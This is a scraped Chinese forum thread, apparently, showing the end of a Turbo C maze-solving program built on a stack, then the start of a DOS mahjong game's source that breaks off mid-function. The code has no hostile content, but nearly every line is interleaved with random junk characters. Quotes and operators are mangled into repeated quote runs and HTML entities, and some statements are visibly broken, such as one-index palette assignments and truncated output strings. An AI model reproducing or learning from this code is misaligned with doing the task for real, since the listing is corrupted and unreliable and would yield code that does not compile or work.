( d, V5 Q; B) y' w4 k& E, T( g3 fvoid MarkPrint(PosType seat)
% N3 ]' y' ?- ?5 Z" h4 q% P! \/* Mark the position seat. */
3 |' T# n3 |+ v5 L7 [{
8 l% |& ]- H7 r' f4 |- gmaze[seat.x][seat.y].mark=-1;
4 O% x. V2 \% G: U- ]# m% o/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
7 r5 O* h" V& u+ D} /* MarkPrint */
2 M: y/ G. T7 i. Z$ p! Ivoid FootPrint(PosType curpos)
0 D5 c9 b6 ^9 J5 h! _) X/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */6 b2 H$ J3 v5 n# L2 \1 d
{4 ~2 v! t( s' z" F( b& [
maze[curpos.x][curpos.y].foot=1;2 q+ t, k7 g: t& _" j/ F
} /* FootPrint */$ i+ u9 G! P! F
PosType NextPos(PosType seat,int di)
( h1 l0 \! n% b3 X# X' O{
$ w+ s5 o5 v6 H0 d% Bswitch(di)
; L( N1 n; a& b" Z8 r* s{" X. s. y. k* z$ {# X$ N9 |7 Y. [
case 1: seat.y++; return seat; /* Eastward */6 D& L) a- {# u2 E0 k. p
case 2: seat.x++; return seat; /* Southward */7 |" t6 f7 o, i1 e4 l' s) A( b
case 3: seat.y--; return seat; /* Westward */
+ m- ?' H' x$ h- zcase 4: seat.x--; return seat; /* Northward */
4 `& B1 v* i" D  F0 s! n: m/ s, [default: seat.x=0; seat.y=0; return seat;" S, m, H  G' r' A# y7 J% {
}+ Z# _4 w8 ^% t' Y( c. x4 @" b
} /* NextPos */! \/ c& E, w( p7 S
3 D0 L$ U3 h$ r. m
/* The key to the program. */1 U- s5 O5 h! I+ {
/* Pre: The maze array &amp; the startplace &amp; the endplace.
/ M% H/ Z* |3 ?; L" A8 r+ oPost: Find the one traverse of the maze and perform the mazepath.( X/ |6 O: R, k" A5 s
Uses: The ADT stack class.
9 H1 B8 ]' l# m! S" w, H3 [5 ^*/
, r7 A% C3 P* y# N7 |/ ]2 xStatus MazePath(PosType start,PosType end)
0 t) M! O) M% m/ z0 D: v& o! a{
% s2 r3 D& l1 X/ o; wPosType curpos;! x+ P3 h; r8 t7 F( n6 v
int curstep;: D' q1 y; W# F) ?7 |" O; Y% C3 W
SElemType e;; d/ h6 s4 w6 O: a" [: x
Stack *s,stack;
+ q  l8 P# K) c7 P- P/ ]+ `* `6 dstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
: ^/ _4 k3 q4 _  j5 Vif(!stack.base) Error("Overflow");
9 @3 j) r: X, c+ ]8 t' p3 J! `) {stack.top=stack.base;
3 \) M# i. B5 Dstack.stacksize=STACK_INIT_SIZE;6 l; |" x, L% b& L) T$ R
s=&amp;stack;& x- [( T; B1 [
curpos=start;
. I. e: t" d* Kcurstep=1;
; J* A; p0 ?- S" `0 n9 tdo, }( R& Y1 I( V$ O3 q. M5 L  O
{
1 R8 l$ O( M* l: \# Tif(Pass(curpos))/ i$ e3 }1 F8 P) M6 x* B
{
0 ~  I- _- D! UFootPrint(curpos);
1 P% y/ q/ H/ Y$ S0 fe.ord=curstep; e.seat=curpos; e.di=1;0 t# x# B* t; I( O$ f
gotoxy((curpos.y+1)*2,curpos.x+2);
/ Q* y. f1 |9 q' |putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');7 e) L+ T3 h; }
delay(8000); /* pospone time. */" P4 u" p5 T7 `" x
Push(s,e);
/ M7 m8 g- V- U  [8 Kif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */9 ], r( t  u  A$ y1 s7 z
{
( G5 c, y$ u1 tDestroyStack(s);
8 d" D2 y( M# l+ i" S5 q( r! Oreturn TRUE;2 x% g% ?, h3 j% W* J
}) i! Q  L2 M/ y) n- T* B6 m
curpos=NextPos(curpos,1); /* Try next position. */
" z! L; r! B4 @3 scurstep++;
3 L* X! Q/ Y' \! L}
2 _0 x! g0 ~' T# T' U5 [# }" y( Belse/ Z2 v8 ~. p. K+ V% j! p
{2 H+ U3 ~9 G) F; l
if(!StackEmpty(s))* h' e0 G+ E! r, ]* l7 y+ A
{5 c9 f; G+ z& D' [/ i$ b
e=Pop(s,e); /* Removed e from s. */
, a8 f3 N2 K2 e7 b) o5 m. V7 z9 M! zwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked' [3 G, s( a) ?$ l; o" K
and s is not empty. */
& P. ?$ S& Y7 i) Z" w% u{0 U9 _" D1 P, O
MarkPrint(e.seat);
* ^( o* G+ i! S# ^, Y- A( ]gotoxy((e.seat.y+1)*2,e.seat.x+2);
( D! O9 I2 B0 gputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
1 ^3 `7 {7 W& X$ b) adelay(8000); /* Pospone time. */
2 U1 |4 d6 J  P1 Bgotoxy((e.seat.y+1)*2,e.seat.x+2);
& d  W3 Q0 u$ V$ Y4 n9 c! `putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');( R6 o% J$ j$ O
e=Pop(s,e); /* Remove e from s. */
% |! {  D9 }" I; Fcurstep--;
4 L" L- \3 o$ v9 h}2 o7 d1 r+ ?( ~4 L$ Y" R
if(e.di&lt;4) /* The current position hasnot been checked. */
& X0 U4 Y4 [( @( O6 |  ^{* N5 U  H9 a7 s8 h5 W7 k9 H% T. e
e.di++;
% d5 r$ s3 G9 q* z: d' n. kPush(s,e); /* Insert e into s. */
. A* `2 t# }- _* Ncurpos=NextPos(e.seat,e.di); /* Try next position. */( t) f$ N9 e6 r) q9 {, Y3 _
}
, _8 U- y2 H* ]. a- v* @% y$ k3 s% G}2 v, c# t4 r$ Y9 m: a
}/ v- Q9 D+ p4 G  |
}# V, p$ Z2 E& ]$ C& _+ B, C1 k, @; |
while(!StackEmpty(s));
  B3 x) i7 K# v2 t1 k+ K6 DDestroyStack(s);1 v  h3 v/ j% B  K. B1 g: t) a
return FALSE;0 ?. L( R2 S: t6 U
} /* MazePath */
1 i9 E# S2 o8 r7 H4 Yvoid main()
; J  O/ M7 l7 H0 e{
% u$ ?- l1 ^8 z$ e5 o% q) o4 yPosType start,end;" a+ V# `$ ?1 I2 E" a
CreatMaze();3 i1 \2 i9 e' A' Z
start.x=StartPlace.y;; n, G" d9 n" v# o+ N
start.y=StartPlace.x;- w; k! D: o& d9 w
end.x=EndPlace.y;' {- m+ ?) b8 S, X% k
end.y=EndPlace.x;
/ [9 A' e3 Z' f+ l* H# u% }# xif(MazePath(start,end))
4 B, `1 [: z" z+ S  i$ ~+ I+ J{
, o8 K3 Q  B! b& Q; {- O5 j' D' zgotoxy(2,22);3 x+ f# H! D8 |( _6 t4 D
printf("ath found\n");8 J$ ?. j* l; i  ?$ Z3 L% L' {$ m" T
}( h) t" @" e6 S- H; X
else% H* r- H; F: q1 v, D4 `
{
' I* F6 a' T0 Z8 @4 Mgotoxy(2,22);  T" F! O5 X6 n4 V1 l! h% z6 M
printf("ath not found\n");! `  F+ m" m4 \' E5 H7 n
}
' W) c$ U$ h  e) X3 m9 n; e7 Agetch();
1 x0 h# U, _" B7 B! @( W# O" Yclrscr();) e! f. L6 W! K" E$ V
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
3 r8 q7 l& y2 J- F/*天宇软件) `# r8 D: e9 x3 x) _- u
作者:上海黑暗之龙
' Z' v0 A$ G2 X2 }" S4 y$ o' {4 l/ _2002/10/30
$ \1 |* E& X7 ]+ z6 M4 j麻将原代码*/( _& L; r! Z- c  y# \
#include "dos.h"$ l0 {8 |, Z& }$ h& v- e
#include "stdio.h"
% e5 b9 @* r- Y#include "graphics.h"
2 z8 T( r- r5 V#include "bios.h"$ J$ ?0 H/ @) q4 z5 M; E  C
#include "conio.h"& p1 K# J8 K4 j- m2 q* f
#include "stdlib.h"
3 `: ~4 k5 V+ P" Runsigned char far *video_buffer=(char far *)0xA0000000L;
6 Z( v1 x6 n1 w8 s#define VGA256 0x13 /*图形模式13h*/9 I0 {' d1 {% J7 D# f
#define TEXT_MODE 0x03 /*普通文本模式*/6 V% ^' U4 n0 H/ Y5 u9 c
#define SETVGA Set_Video_Mode(VGA256)8 o. F# ]) R' Z/ U  ?0 m
#define OUTVGA Set_Video_Mode(TEXT_MODE), L8 e- z9 q' m! f& X( o1 |
#define BYTE unsigned char( r+ v- n+ A$ H5 ~- t' E" N( b" y
#define WORD unsigned int
$ p1 z* x+ F, d+ ^6 }6 f& C#define DWORD unsigned int& p6 A' R3 e$ z; c
#define ESC 283- N0 T- y  T" {3 D+ n% Y
#define LEFT 19200
6 Y; U# Y4 M! {0 n+ E; {#define RIGHT 19712  R% ?4 v- ]' a
#define H 9064. t: Y/ x- s8 x! H0 d0 W0 C
#define ENTER 7181
1 u$ H% w4 J: ]0 M' H1 Iunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;8 r; ]! C( `# W: R0 Z* f
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;- E+ p/ ?7 o( t$ P' A9 s
struct chi
& _  k& F+ L0 G# z6 P{
# @2 z* U5 i8 y/ z' qint lg;
6 P: e* ?2 \- x) Y% L) O* Bint lgg;& l/ X4 ?& A- n) t( g+ }3 ^, o5 M
}ch[13];
) l. L- Y$ P  R. vstruct mj# ~  i2 x: A: V4 h, g& x+ v! I
{ char *name; /*名字*/6 d$ k! R; o: u; u
int data1; /*是否已出,无用了*/
9 l$ a$ L3 m: pint data2; /*是否在手中,1为自己,2为对方*/
3 N6 ^: O: g8 H* I$ M$ Hint number; /*同一个花色的第几张,共4张*/
8 j/ W9 V+ x1 T# x3 c' H0 ]6 k}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
1 C0 H/ d# {- W9 @$ Y& l* ^"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
- @. i1 W! H; J5 V, W+ q"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
" m0 @" }" ~2 r' x7 j( s$ u"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,4 \; P: o; a6 Q- H% t
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,: y# G- q& W8 x9 T
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
7 O8 s. I* A" W! ?0 C"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,; P. b: @5 ^6 \$ e% d/ [
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
9 G+ w* C; D2 f"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
7 E2 _" y  }+ d" ?"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
& p& h- z% x) N8 a& S"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
! `  [) u* d; J$ o9 U' v0 K2 Q"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
- s" e2 G: E8 m"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,) }7 q( a! K' P) y
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
8 ?0 P: S, H0 m/ G7 e. v: V3 Q"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,3 m, @( ~# ?* P" w7 N
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,0 m! F' H) _# ^" v4 Y
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,$ b" _6 V9 W' g7 l: W
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,, I# A3 Z3 ^" T; n' i7 J! O. h
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
. B# s, ~1 M2 G2 u"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,1 r; a+ c! ~) g3 b: j: j
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,# T: {$ {7 l7 m' P
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,  V1 a- K, B5 s% e( e
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
" z4 x2 b6 Z& W. q"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,& m, B$ F$ l8 v& `& `; @# K+ J5 c% F
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,% ~& X3 r6 V" K/ D/ ?, F% R3 d
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,5 P; a0 u: f" S6 s" Q* R! h
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
! B- y$ c% p% ^. o"34.bmp"};6 p$ I$ h) }, v
struct every6 N$ N* q, I' z$ P
{ int *k; /*名字*/
9 h/ T3 E) \. R& l9 ~7 Eint oneorfour; /*同一张牌的第几张*/
! f  M% U6 A3 Q, G! ]2 a+ `9 Bint number; /*第几张牌136*/
2 z+ }% e: K4 u; q2 d' T9 x  J3 Oint p;) c) O1 B5 D( d/ t
int g;! j+ j! c( J$ [+ a- `5 i
int c;
% K% F& u) @, O6 R: n* iint d[2];
6 W: V9 X5 i6 j; N' \' V: ]4 m};( c. D  [6 W% ?' ]2 E5 _: P
struct me
7 j% g4 |+ J5 j! M0 r{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
, z7 }+ l% s) P5 Oint p; /*乓对方*// v0 D" D9 }( w$ Q7 M. D9 r  K: m
int c; /*吃对方*/* o+ K* _& t9 i8 k. A
int g; /*杠*/' a( s0 i" f2 a6 z3 h
) ?! _2 N8 y2 Z
struct every pp[14]; /*存放手上的牌*/
2 \, b9 |- q, j0 q9 E}me;: O& w9 L# ]5 c  c5 K
struct computer+ ^0 }/ v6 K+ o& e1 w
{ int m;
: M2 L4 ]. y8 @) Bint p;9 m1 w9 B# b% }
int c;# u# c* Q  r% }3 I  }" A
int g;
1 g- N+ Z5 G6 l  t/ W! m" n# f* Astruct every pp[14];
1 u- l. n6 G5 I4 I# \! u" k  S8 N/ d: H}computer,comp;% S% D# t8 G, Q, w

: V% @+ l4 A( k: e# Q; [2 m3 I; r/* 设置调色板 */
, J7 M& A5 u* _7 [# a' i! |' Svoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)5 m1 ?; y* I, r/ Y0 z/ T# O
{
3 i/ V  d9 f0 m& w% Foutportb(0x3c8,Color); /*0x3c8写端口 写色号*/
; ?) S' r: ]2 K7 J1 G: Voutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
  B+ T+ q9 X% _8 N$ Loutportb(0x3c9,g);
; Z* |) r6 u! g  G/ P' Soutportb(0x3c9,b);
3 p" t5 h! y& W+ x4 Z6 {" ?1 A8 T}
& G2 O$ h0 n, P/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
" L$ {! M8 x) z1 p/* 设置显示模式的函数 */
" R3 |& V  W9 O1 r1 `# p3 Tvoid Set_Video_Mode(int mode)
/ N# k6 k# \$ b{
& i* R; ^0 E6 u" u- sunion REGS inregs,outregs; /*定义输入和返回寄存器*/0 r+ b& R' I( @! C( ^. x; Z
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/4 ~0 C% d1 ~8 x# m
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
3 I4 y4 i; ^  Y$ L; z* Z: Eint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
% m" z4 n2 @1 N3 z8 D- ~# U}
# n7 c7 I& x$ w5 B6 A4 @void v_line(int y0,int y1,int x,unsigned int color)) \0 E% S4 V8 Z) ^* k% J
{ unsigned int address,n,temp;  `4 [8 _8 g+ O% ~
if(y0&gt;y1)8 B$ q& _/ L/ `/ ]! t$ B
{
) T( d0 V( v* Y2 M# ~# H% `temp=y1;' `8 Y* ?7 Y0 O4 r
y1=y0;
( e" z2 v4 P9 L: j' hy0=temp;
. x# J& [/ ?2 s* O) B% w2 I}
3 Y" S3 o$ Z3 S7 h% h, baddress=320*y0+x;0 D, L1 A& g) }- f" T
for(n=0;n&lt;=y1-y0;n++)
$ M" g4 p- B1 j) f{
7 j0 Q" k5 M5 rvideo_buffer[address]=color;
% M& l: Q/ t5 m  c% Vaddress+=320;
7 ^& W: u/ w( k  A* r. {- G}% y/ Z$ ^2 z% |0 C: K1 B) S
}
$ F, `; T, X- t% }+ D; Qvoid h_line(int x0,int x1,int y,unsigned int color)2 C( z; }, \) C  C) S
{ unsigned int address,n,temp;
( _, P. k% j# s' w* k" h3 Gif(x0&gt;x1)
% s; Y+ z9 n6 @{
  I0 g- U: g" t5 S+ G9 Q) `temp=x1;6 C1 i7 I: p1 I( m0 F
x1=x0;( `5 X: a$ n( k6 ?% C8 ^
x0=temp;
; o; _% Y, Z/ ?& ^}
* Z0 D3 o" k* g- Waddress=320*y+x0;5 ~$ C4 L# ^4 P( A- ]8 U! Z7 e( H
for(n=0;n&lt;=x1-x0;n++). w, U0 |* @' K+ j
{: J2 d) E9 \9 B4 P) W! M
video_buffer[address]=color;
. z" \. V# `% l- U% E2 i5 Y1 jaddress+=1;
: V* l4 E. r9 o. O$ {}! O- l! d- ?9 D
}! _; L# a+ \8 @, Y' Y
void p_pixel(int x,int y,unsigned int color)$ i: h6 @3 W, t4 Z
{ video_buffer[y*320+x]=color;* v3 r% e: `; p5 L5 [( F: O
}6 ?5 j7 V6 A) o# K" T
void s_square(int x,int y,int side,int color)
1 R  ]% b8 h$ b/ C, U{, K0 G" N& q# k. H- s8 G
h_line(x,x+side,y,color);
- q- p' E1 d2 j2 gh_line(x,x+side,y+side,color);
2 M5 u$ j3 v+ w# Y8 z) h, `+ I/ Wv_line(y,y+side,x,color);3 E) `5 S" L! j. \: q4 b
v_line(y,y+side,x+side,color);
: P1 i3 W) P- ^/ @1 e  Q: g}
4 `4 z9 |6 g. ivoid r_rectangle(int x1,int y1,int x2,int y2,int color)1 @# J1 I$ v) v& @6 \
{" T& k+ F3 w/ T' R1 c6 t
h_line(x1,x2,y1,color);1 S* p4 ^* D, d7 P, n9 s
h_line(x1,x2,y2,color);
' t! m. O+ T9 k) T8 H$ f6 ?3 K. rv_line(y1,y2,x1,color);" o8 ?/ x1 V- w! B* I* Q4 E
v_line(y1,y2,x2,color);. L/ t4 v6 M9 H3 X. ?
}$ Q2 F5 r+ Z, [: |0 t
void fillRectangle(int x1,int y1,int x2,int y2,int color)7 R$ p) c  k+ e( r) A
{4 Y( N6 Q6 i3 N$ V6 V8 J& z8 t5 Y
int i;! w3 g+ @9 l( _
for(i=y1;i&lt;=y2;i++)1 ], a" U1 X, N
{" ]" H' Z: a6 g8 {+ B
h_line(x1,x2,i,color);
; j1 S) P% x5 B}# K# ?: \% s6 c- |$ f4 S: J3 G
}
7 W) Z0 L5 B; Jvoid showbmp(int l)7 m6 T: Z* N$ L( m4 G0 F! Q
{ FILE *bmp;
. d5 a7 ~, [  e7 F, V; I+ O. bint i,x,y;' ]  m5 f- {9 s$ t  u9 m9 H$ a
BYTE palette[256][3];
5 T' h1 H2 q/ {7 T0 `* x( R+ \9 X& Ebmp=fopen(me.pp[l].k,"rb");+ U$ m# ~8 x* u3 x5 _
fseek(bmp,54,SEEK_SET);
: ~2 n2 t9 |( q, Z0 k1 Mfor(i=0;i&lt;256;i++)
; u1 n* ~$ _, M2 e, Q{$ t9 J/ s" l* i2 Y2 t2 ~
palette[2]=fgetc(bmp)&gt;&gt;2;! B& B& P0 `5 M' {: |/ N
palette[1]=fgetc(bmp)&gt;&gt;2;
' \2 W6 c7 A9 r' y& ]9 a# L7 G: Wpalette[0]=fgetc(bmp)&gt;&gt;2;
/ p8 \' H1 q: c; xfgetc(bmp);% W% x( r2 `( v' ?% \, B
Set_Palette(i,palette[0],palette[1],palette[2]);) T* W- @) `4 z# [
}
6 s/ W1 x+ X3 S- dfor (y=0;y&lt;30;y++)
8 A2 @3 g# C& O- E5 Z" }for(x=0;x&lt;20;x++)8 ], F  N( }5 z& u6 Z2 B% [8 J
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
; C& I6 `! y( z$ G4 `9 h/ dfclose(bmp);9 F, G1 p6 _  R5 q
}
4 X7 j2 S/ |; [/ V- b2 X! ]2 Ovoid showbmpd(int l)
* {2 ]+ c* }: R: w{ FILE *bmp;' m3 D' e: B  a' q& G
int i,x,y;' q  ]( w& g5 x' _* X
BYTE palette[256][3];
# p1 w" i% |  h% W' s1 {bmp=fopen(me.pp[l].k,"rb");( m& u7 k9 b) O- W# F- W- R
fseek(bmp,54,SEEK_SET);: {( l$ G8 ]6 Y4 s+ p
for(i=0;i&lt;256;i++)- K4 G9 I. r: [0 V" U" A/ d
{
6 K" z' x$ {: _8 dpalette[2]=fgetc(bmp)&gt;&gt;2;
3 c1 F6 W. i8 p4 O' w( c+ Z! g" }palette[1]=fgetc(bmp)&gt;&gt;2;* j7 a( a1 e* S
palette[0]=fgetc(bmp)&gt;&gt;2;2 O3 @1 I& _& E* P+ R" y; a
fgetc(bmp);
# ?& W" j& R, K+ ISet_Palette(i,palette[0],palette[1],palette[2]);
- Q% [) r: J3 f1 F% k: [}& a9 c% u7 r- [1 c5 m1 F* T# O9 H
for (y=0;y&lt;30;y++)' f+ `* Z3 q+ y1 ?4 S' J( q' Q* x
for(x=0;x&lt;20;x++)) H& ]1 T, h; h6 g; D
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
. D7 e7 s$ w: I" l3 F9 e. G3 Sfclose(bmp);
# m6 ?; _+ o' G/ f, u}0 t8 q+ c; i. ?$ ]3 j
void showybmp(int ll)" f" k7 b  _0 s0 _$ d
{ FILE *bmp;0 s4 B& V, [. m, l7 J6 K
int i,x,y;7 p/ g, D4 `, ?
BYTE palette[256][3];0 L/ u/ i- y4 {# E) E5 J' S7 T, q
bmp=fopen(computer.pp[ll].k,"rb");
5 t$ Z5 t9 V5 R  M$ u0 ^fseek(bmp,54,SEEK_SET);
  i  o( E2 g2 y- Q) S! n- E% ~" N0 j6 Nfor(i=0;i&lt;256;i++); g  ~* J9 m- F$ }
{
; M7 [! q/ h* V# [) p+ ]# F/ g! cpalette[2]=fgetc(bmp)&gt;&gt;2;
4 E) `( t. m1 G0 K. A9 jpalette[1]=fgetc(bmp)&gt;&gt;2;
% V3 g: Z7 i% N1 `# D5 @* Gpalette[0]=fgetc(bmp)&gt;&gt;2;
% R$ N# f; x# ]4 G! ]fgetc(bmp);
% d, d( B+ n1 Z% |) R- R, ZSet_Palette(i,palette[0],palette[1],palette[2]);
$ l6 o' s2 X/ T7 R}  v6 _' f( {' q; q- X* C  o
for (y=0;y&lt;30;y++)+ A: F9 z8 ?1 |! D# _
for(x=0;x&lt;20;x++), k& w9 A/ {. @9 y
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
" d- r7 S: M# a/ ?  zfclose(bmp);# K# N  _  `7 }- u/ X  K% f
}! o$ A) s0 \9 w4 `5 S9 _" w- R$ r/ f
void showcbmp(int ll)
. M& i6 y3 l- r0 ^% @{ FILE *bmp;4 a$ ~9 ?6 D. j5 y1 }* z
int i,x,y;
8 a: j( R, W" x: C2 m4 a; \BYTE palette[256][3];4 y7 G+ m2 R5 z/ W' F  y
bmp=fopen(computer.pp[ll].k,"rb");3 N( B9 [, G# Z, W/ ?
fseek(bmp,54,SEEK_SET);
. r; K" i, N- f; w- E/ S6 ]1 Zfor(i=0;i&lt;256;i++)
- V! W* F1 N9 x; j4 b{
1 i* L8 N5 i' |. zpalette[2]=fgetc(bmp)&gt;&gt;2;; S% P1 q# ^7 t6 r5 d) \
palette[1]=fgetc(bmp)&gt;&gt;2;/ d( v. [; n; R' P4 n* a3 c' O
palette[0]=fgetc(bmp)&gt;&gt;2;4 Z% J, `  d7 J  n4 u; }; t6 ?# x0 S
fgetc(bmp);4 a. Q' X8 y2 q0 F0 [
Set_Palette(i,palette[0],palette[1],palette[2]);
: o6 ~) `: j! S, i9 i7 ^}
, i( q+ N+ [, a' t# b8 t$ Y6 h: ffor (y=0;y&lt;30;y++)
# J4 c' L5 l+ U0 y4 q3 \- i" Ifor(x=0;x&lt;20;x++)2 }4 h1 n4 x7 O8 \( \
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
- e) c* ^  u! T! \- E4 Z/ rfclose(bmp);+ q. w8 B5 I; @: {) y& [
}
, [4 E9 U+ O: D) ]) {- evoid bmpp(int number)1 O( l! `6 K1 W, h, g9 g
{ FILE *bmp;
& m( c$ P. I" n. h2 w. I; X. i2 Zint i,x,y;. k& u& w4 e* r- D% d# _8 Z9 v
BYTE palette[256][3];
$ G7 C: p7 K9 W' W- x& Gbmp=fopen(m[number].name,"rb");: V8 ?3 E+ S1 `, V. @% o. C- k1 d
fseek(bmp,54,SEEK_SET);  B* H  I% I9 i0 ]
for(i=0;i&lt;256;i++)9 N+ A- K$ [) _5 Q/ B% {
{1 A) G& t7 s+ `+ d2 l1 K
palette[2]=fgetc(bmp)&gt;&gt;2;
0 s) I5 J6 |$ t, C' ~( m, M, Bpalette[1]=fgetc(bmp)&gt;&gt;2;
- k, G. M; C0 {2 M) P$ D2 G* Vpalette[0]=fgetc(bmp)&gt;&gt;2;9 m$ [1 u. {7 n4 }6 ]
fgetc(bmp);
# A% }( E; X# ^* k( Q1 f' E* _! D2 ]Set_Palette(i,palette[0],palette[1],palette[2]);8 T1 G% F1 H& B" C
}8 X+ A4 D6 d/ Z# k% A9 D. s
for (y=0;y&lt;30;y++)
6 h: u, \9 c' r  wfor(x=0;x&lt;20;x++)
4 g) Z6 D+ l+ mpokeb(0xa000,y*320+x+zl,fgetc(bmp));
9 v5 e6 o' X/ |# W# a* M2 z; tfclose(bmp);7 O; m# D, b5 D7 c3 H
}; O1 Q# x2 j" `6 T+ i, k1 m4 }
void comlipai() /*整理电脑的牌*/
4 O+ ]  j1 C+ ]! P8 G# ?- s5 B4 `{ int n,j,u;' U& A  ~. y; f7 a! K7 [; ^9 Y
int *lingshi;
4 }) S& [. l& B$ g, O- sfor(n=0;n&lt;computer.m;n++)
7 m! X! h" C1 ?5 r* Ufor(j=n;j&lt;computer.m;j++)( `4 U; b5 e& [$ [. }+ z5 }
{
( d* ?( P' G9 sif(computer.pp[n].number&gt;computer.pp[j+1].number). Y4 v1 a: G/ b: H; j
{
7 t& B4 i! U- }  L* Klingshi=computer.pp[n].k;% x" e$ R5 D6 w9 e/ B* ^" n( f/ U9 j, M
computer.pp[n].k=computer.pp[j+1].k;. p0 |* P. o$ T. M+ D# s
computer.pp[j+1].k=lingshi;
& b6 r* E& c$ K, n$ [" s3 g9 q1 |u=computer.pp[n].oneorfour;; @6 `1 |. \" c. x5 t8 Q/ S. T
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;2 }, p; m! T4 Q/ s' l
computer.pp[j+1].oneorfour=u;+ E, ?2 e: q$ _( Q% g) a
u=computer.pp[n].number;: A7 {( L5 ?* i  o5 G
computer.pp[n].number=computer.pp[j+1].number;
5 W$ Z/ e6 |% i. u5 l& y+ D3 Ycomputer.pp[j+1].number=u;) d/ r/ w# y0 d5 d  [  n
}
0 G  c* Z! v) o, @, q# _4 _9 helse  B+ V% t6 Y; T; H8 ~
if(computer.pp[n].number==computer.pp[j+1].number)# O7 e; {9 M7 g# u" }2 ?8 ~" n4 y
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)' A. u  i) a4 {8 T" w; D
{8 F6 f  n$ @: N* L  p# h1 L1 I8 y+ l6 k
lingshi=computer.pp[n].k;- d0 S# Y* {6 t! k% J
computer.pp[n].k=computer.pp[j+1].k;
: o- ~+ ]# Q  `computer.pp[j+1].k=lingshi;
$ t7 `0 {- W3 K; N9 ?u=computer.pp[n].oneorfour;& @5 |2 \! ?( H6 B1 C: z% ?
